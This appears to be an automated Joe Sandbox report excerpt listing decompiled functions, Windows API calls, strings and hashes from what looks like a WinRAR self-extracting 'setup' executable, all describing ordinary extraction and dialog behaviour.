Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: H_prolog_memcmp
String ID:
API String ID: 3004599000-0
Opcode ID: 30237fa1d5916aaf73304944109964b1cc842235a6a5777b6b88b22cef449a65
Instruction ID: 01084ae86f6821c29401fe0eeff0b902c453c9f12c7d734be10e9fcf691a57ef
Opcode Fuzzy Hash: 30237fa1d5916aaf73304944109964b1cc842235a6a5777b6b88b22cef449a65
Instruction Fuzzy Hash: 4D823D70904145AEDF25DB68C885BFB7FA9AF16304F0841BFE8599B242DB385E44C768

Function 004AAEE0 Relevance: 98.7, APIs: 47, Strings: 9, Instructions: 724COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004AAEE5

Part of subcall function 0049130B: GetDlgItem.USER32(00000000,00003021), ref: 0049134F
Part of subcall function 0049130B: SetWindowTextW.USER32(00000000,004C35B4), ref: 00491365

Strings

__tmp_rar_sfx_access_check_%u, xrefs: 004AB1CB
C:\Users\user\Desktop, xrefs: 004AB2DF
-el -s2 "-d%s" "-sp%s", xrefs: 004AB281
@, xrefs: 004AB2A7
"%s"%s, xrefs: 004AB423
STARTDLG, xrefs: 004AAF04
<, xrefs: 004AB29A
LICENSEDLG, xrefs: 004AB771
winrarsfxmappingfile.tmp, xrefs: 004AB2BC

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: H_prologItemTextWindow
String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 810644672-8108337
Opcode ID: 77bdb15d5828432eacffb17fdbd3761c96f21ef68178edf13bbd5e00c5efc646
Instruction ID: 96198e4e96fdfc90105d631e87a0d0b9658b45ea1c4f4ed66b5110c55d472968
Opcode Fuzzy Hash: 77bdb15d5828432eacffb17fdbd3761c96f21ef68178edf13bbd5e00c5efc646
Instruction Fuzzy Hash: 8B42F771944244BEEB21ABA19D49FBF3B7CEB22704F00406BF605A61D2DBBC4944CB6D

Function 004A00CF Relevance: 98.3, APIs: 22, Strings: 34, Instructions: 317
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 004A00E4
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 004A00F6
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 004A0127
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 004A03D4
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004A03F0
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 004A0402
ReadFile.KERNEL32(00000000,?,00007FFE,004C3BA4,00000000), ref: 004A0421
CloseHandle.KERNEL32(00000000), ref: 004A0479
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 004A048F
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 004A04E7
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00000000,?,00000800), ref: 004A0510
GetFileAttributesW.KERNEL32(?,?,?,00000800), ref: 004A054A

Part of subcall function 004A0085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 004A00A0
Part of subcall function 004A0085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0049EB86,Crypt32.dll,00000000,0049EC0A,?,?,0049EBEC,?,?,?), ref: 004A00C2

_swprintf.LIBCMT ref: 004A05BE
_swprintf.LIBCMT ref: 004A060A

Part of subcall function 0049400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0049401D

AllocConsole.KERNEL32 ref: 004A0612
GetCurrentProcessId.KERNEL32 ref: 004A061C
AttachConsole.KERNEL32(00000000), ref: 004A0623
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 004A0649
WriteConsoleW.KERNEL32(00000000), ref: 004A0650
Sleep.KERNEL32(00002710), ref: 004A065B
FreeConsole.KERNEL32 ref: 004A0661
ExitProcess.KERNEL32 ref: 004A0669

Strings

X@L, xrefs: 004A0339
x=L, xrefs: 004A0204
(>L, xrefs: 004A023C
>L, xrefs: 004A0289
<L, xrefs: 004A018C
dwmapi.dll, xrefs: 004A0581
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 004A05F8
X>L, xrefs: 004A0252
p>L, xrefs: 004A025D
`=L, xrefs: 004A01FC
T?L, xrefs: 004A02C0
0AL, xrefs: 004A0391
\AL, xrefs: 004A03A7
D=L, xrefs: 004A01F4
DAL, xrefs: 004A039C
p?L, xrefs: 004A02CB
P<L, xrefs: 004A019C
l<L, xrefs: 004A055C
4=L, xrefs: 004A01EC
DXGIDebug.dll, xrefs: 004A0169, 004A04D3
kernel32, xrefs: 004A00DD
8<L, xrefs: 004A0194
SetDefaultDllDirectories, xrefs: 004A0121
SetDllDirectoryW, xrefs: 004A00F0
|<L, xrefs: 004A01AC
(@L, xrefs: 004A0323
<?L, xrefs: 004A02B5
?L, xrefs: 004A02AA
uxtheme.dll, xrefs: 004A058B
@>L, xrefs: 004A0247
@@L, xrefs: 004A032E
T;L, xrefs: 004A0154
p@L, xrefs: 004A0344
?L, xrefs: 004A0302

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
String ID: <L$ ?L$(>L$(@L$0AL$4=L$8<L$<?L$@>L$@@L$D=L$DAL$DXGIDebug.dll$P<L$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$T;L$T?L$X>L$X@L$\AL$`=L$dwmapi.dll$kernel32$l<L$p>L$p?L$p@L$uxtheme.dll$x=L$|<L$>L$?L
API String ID: 1201351596-3856585583
Opcode ID: af876542a6ed7f98c357c1cdb0d26602b898e98eb511ddf7ade0c91038a2d18d
Instruction ID: 9184119617a751c0b520867cc33eb36727ad499d603b4b1bc5f01455f212e25f
Opcode Fuzzy Hash: af876542a6ed7f98c357c1cdb0d26602b898e98eb511ddf7ade0c91038a2d18d
Instruction Fuzzy Hash: 8CD183B5448344ABD7B0DF51D849FDFBAE8BB85706F00C92FF58596240DBB886088B5E

Function 004ABDF5 Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 429
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004ABDFA

Part of subcall function 004AAA36: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 004AAAFE

SetWindowTextW.USER32(?,?), ref: 004AC127
_wcsrchr.LIBVCRUNTIME ref: 004AC2B1
GetDlgItem.USER32(?,00000066), ref: 004AC2EC
SetWindowTextW.USER32(00000000,?), ref: 004AC2FC
SendMessageW.USER32(00000000,00000143,00000000,004DA472), ref: 004AC30A
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 004AC335

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 004AC1D0
%s.%d.tmp, xrefs: 004ABFF6
ProgramFilesDir, xrefs: 004AC1FB
<br>, xrefs: 004AC08A

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3564274579-312220925
Opcode ID: b2226d728aee5f57316516b8e38d72417fbf2e269ce3bfae5bd2d27b1489c284
Instruction ID: 1387b3a420fc124410b9fdd87f4d4e96a25f00c8db541b390ca3678c5d6cc258
Opcode Fuzzy Hash: b2226d728aee5f57316516b8e38d72417fbf2e269ce3bfae5bd2d27b1489c284
Instruction Fuzzy Hash: 09E19176D04118AADF25DBA1DC85EEB77BCEF19305F0040ABF605E3151EB789A84CB68

Function 0049D341 Relevance: 25.1, APIs: 4, Strings: 10, Instructions: 555
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0049D346
_wcschr.LIBVCRUNTIME ref: 0049D367
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,0049D328,?), ref: 0049D382
__fprintf_l.LIBCMT ref: 0049D873

Part of subcall function 004A137A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0049B652,00000000,?,?,?,00010412), ref: 004A1396

Strings

a, xrefs: 0049D4EF
*messages***, xrefs: 0049D49A
@%s:, xrefs: 0049D85D, 0049D869
, xrefs: 0049D67A
$9L, xrefs: 0049D6AF
R, xrefs: 0049D4E5
$%s:, xrefs: 0049D856
*messages***, xrefs: 0049D4D3
,, xrefs: 0049D8AE
RTL, xrefs: 0049D838

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$$9L$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 4184910265-3601641108
Opcode ID: c84ff5536d99fb7e3a63bf835746945a2c2429585caf3c51477a63323feb73fa
Instruction ID: 6caa4260bbd73689ad77d79349d1e044d3e9c7aa0238b458d375677ba6b7afc9
Opcode Fuzzy Hash: c84ff5536d99fb7e3a63bf835746945a2c2429585caf3c51477a63323feb73fa
Instruction Fuzzy Hash: FD12C3B1D00209AACF24EFA5CC81BEEBBB5EF14304F10417FE505A7281DB789A41CB28

Function 004ACB5A Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004AAC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 004AAC85
Part of subcall function 004AAC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004AAC96
Part of subcall function 004AAC74: IsDialogMessageW.USER32(00010412,?), ref: 004AACAA
Part of subcall function 004AAC74: TranslateMessage.USER32(?), ref: 004AACB8
Part of subcall function 004AAC74: DispatchMessageW.USER32(?), ref: 004AACC2

GetDlgItem.USER32(00000068,004EECB0), ref: 004ACB6E
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,004AA632,00000001,?,?,004AAECB,004C4F88,004EECB0), ref: 004ACB96
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 004ACBA1
SendMessageW.USER32(00000000,000000C2,00000000,004C35B4), ref: 004ACBAF
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 004ACBC5
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 004ACBDF
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 004ACC23
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 004ACC31
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 004ACC40
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 004ACC67
SendMessageW.USER32(00000000,000000C2,00000000,004C431C), ref: 004ACC76

Strings

\, xrefs: 004ACBCF

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: f9804768dd9abd9d4ddfa39de68a0664537a1c26ec632c73951c8f5d1b861bea
Instruction ID: c95b5a9dce35bc2775b048a5df927b5a0be50d78c01e83d3c29056219891def3
Opcode Fuzzy Hash: f9804768dd9abd9d4ddfa39de68a0664537a1c26ec632c73951c8f5d1b861bea
Instruction Fuzzy Hash: 2D31CF72146341BFE301DF20AD4AFAB7FACEB82714F004529F65096291EBA44A14CB7E

Function 004ACE22 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(?), ref: 004ACF54
ShowWindow.USER32(?,00000000), ref: 004ACF93
GetExitCodeProcess.KERNEL32(?,?), ref: 004ACFCF
CloseHandle.KERNEL32(?), ref: 004ACFF5
ShowWindow.USER32(?,00000001), ref: 004AD084

Part of subcall function 004A17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0049BB05,00000000,.exe,?,?,00000800,?,?,004A85DF,?), ref: 004A17C2

Strings

.exe, xrefs: 004ACFFF
.inf, xrefs: 004ACF10
, xrefs: 004ACEA2

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
String ID: $.exe$.inf
API String ID: 3686203788-2452507128
Opcode ID: afba020f2db08d32146c2e66ef1efc930d87e02b7c08395b7cb7f2ce1a83f70a
Instruction ID: a238ae62dda9eacce5f3784a8a0f9dfb61523921e294b58c77fc290d8f563edf
Opcode Fuzzy Hash: afba020f2db08d32146c2e66ef1efc930d87e02b7c08395b7cb7f2ce1a83f70a
Instruction Fuzzy Hash: 6B61E5708083809EDB319F25D8446AB7BE5EFA6308F04482FF5C197391D7B98985CB9E

Function 004BA058 Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,004B4E35,004B4E35,?,?,?,004BA2A9,00000001,00000001,3FE85006), ref: 004BA0B2
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,004BA2A9,00000001,00000001,3FE85006,?,?,?), ref: 004BA138
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,3FE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 004BA232
__freea.LIBCMT ref: 004BA23F

Part of subcall function 004B8518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BC13D,00000000,?,004B67E2,?,00000008,?,004B89AD,?,?,?), ref: 004B854A

__freea.LIBCMT ref: 004BA248
__freea.LIBCMT ref: 004BA26D

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 761cad9a009b6049c2eb12d83978288293478a3c3ae9105c98a1d6c37685ac60
Instruction ID: f450a171d103912345877e83166b0d11d520c8c01f27024aa5e7b3ac461ee149
Opcode Fuzzy Hash: 761cad9a009b6049c2eb12d83978288293478a3c3ae9105c98a1d6c37685ac60
Instruction Fuzzy Hash: 2751E172610206AFDB299E69CC41EFF77A9EB40754F14426AFD04D6340EB39DC60C6BA

Function 004AA335 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004A0085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 004A00A0
Part of subcall function 004A0085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0049EB86,Crypt32.dll,00000000,0049EC0A,?,?,0049EBEC,?,?,?), ref: 004A00C2

OleInitialize.OLE32(00000000), ref: 004AA34E
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 004AA385
SHGetMalloc.SHELL32(004D8430), ref: 004AA38F

Strings

riched20.dll, xrefs: 004AA33D
3Ro, xrefs: 004AA366

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3Ro
API String ID: 3498096277-3613677438
Opcode ID: 504207e11d3fb994c254965ee7ec0b04e4c3d5ea2de26ebc9a99ffc188422b9c
Instruction ID: 95335ed984e81f74aabb468fe0df0c9f804ff58aa718a9bece03c7dfa3509929
Opcode Fuzzy Hash: 504207e11d3fb994c254965ee7ec0b04e4c3d5ea2de26ebc9a99ffc188422b9c
Instruction Fuzzy Hash: 74F0F471D00109ABDB10AF95D945AEFFBFCEF95705F10416BE914E2200DBB85505CBA5

Function 004999B0 Relevance: 7.6, APIs: 5, Instructions: 117
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,?,00000000,?,00000000,?,?,004978AD,?,00000005,?,00000011), ref: 00499A4C
GetLastError.KERNEL32(?,?,004978AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00499A59
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,?,00000800,?,?,004978AD,?,00000005,?), ref: 00499A8E
GetLastError.KERNEL32(?,?,004978AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00499A96
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,004978AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00499ADB

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 0bfab72072f4b003131c35d5ef3868423a20968b0db900f5424381a33e298dd0
Instruction ID: 2f493e84980452b3198e32e89c1298de631fd7709f266e95c6abca0058c98e8d
Opcode Fuzzy Hash: 0bfab72072f4b003131c35d5ef3868423a20968b0db900f5424381a33e298dd0
Instruction Fuzzy Hash: 3A4124715447866FEB208F28CC05BDBBFD4EB01324F14072EF5A4962D1D779AD888B99

Function 004AAC74 Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 004AAC85
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004AAC96
IsDialogMessageW.USER32(00010412,?), ref: 004AACAA
TranslateMessage.USER32(?), ref: 004AACB8
DispatchMessageW.USER32(?), ref: 004AACC2

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 8be11fc2c400988b6f780bca5b2fd43899780e569df93e4f211faaa2da199b8c
Instruction ID: 16bfdd0b5a0d1dc030a433008931c12365b753005876f942229ab3a36ad2b6e0
Opcode Fuzzy Hash: 8be11fc2c400988b6f780bca5b2fd43899780e569df93e4f211faaa2da199b8c
Instruction Fuzzy Hash: 99F0F97290212AAF9B209BA2DD4CDFB7F6CEE162617404426B505D2200EB689515CBB9

Function 004AA2C7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 004AA2DE
SHAutoComplete.SHLWAPI(?,00000010), ref: 004AA315

Part of subcall function 004A17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0049BB05,00000000,.exe,?,?,00000800,?,?,004A85DF,?), ref: 004A17C2

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 004AA305

Strings

EDIT, xrefs: 004AA2E9, 004AA2F4, 004AA301

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 1abc9b40cbc73cc78326d6dc33ae961e576fead8d4d450268eff21e61528d6c8
Instruction ID: 20fd3f270db87f7483de8e2b51a4a16a1d85df3ca207ed29add018a253bf0448
Opcode Fuzzy Hash: 1abc9b40cbc73cc78326d6dc33ae961e576fead8d4d450268eff21e61528d6c8
Instruction Fuzzy Hash: 51F0E232A012287BEB2056249D09FAB736C9F47B00F040067BE04A2280DBA89961C6FE

Function 0049984E Relevance: 6.1, APIs: 4, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 0049985E
ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 00499876
GetLastError.KERNEL32 ref: 004998A8
GetLastError.KERNEL32 ref: 004998C7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
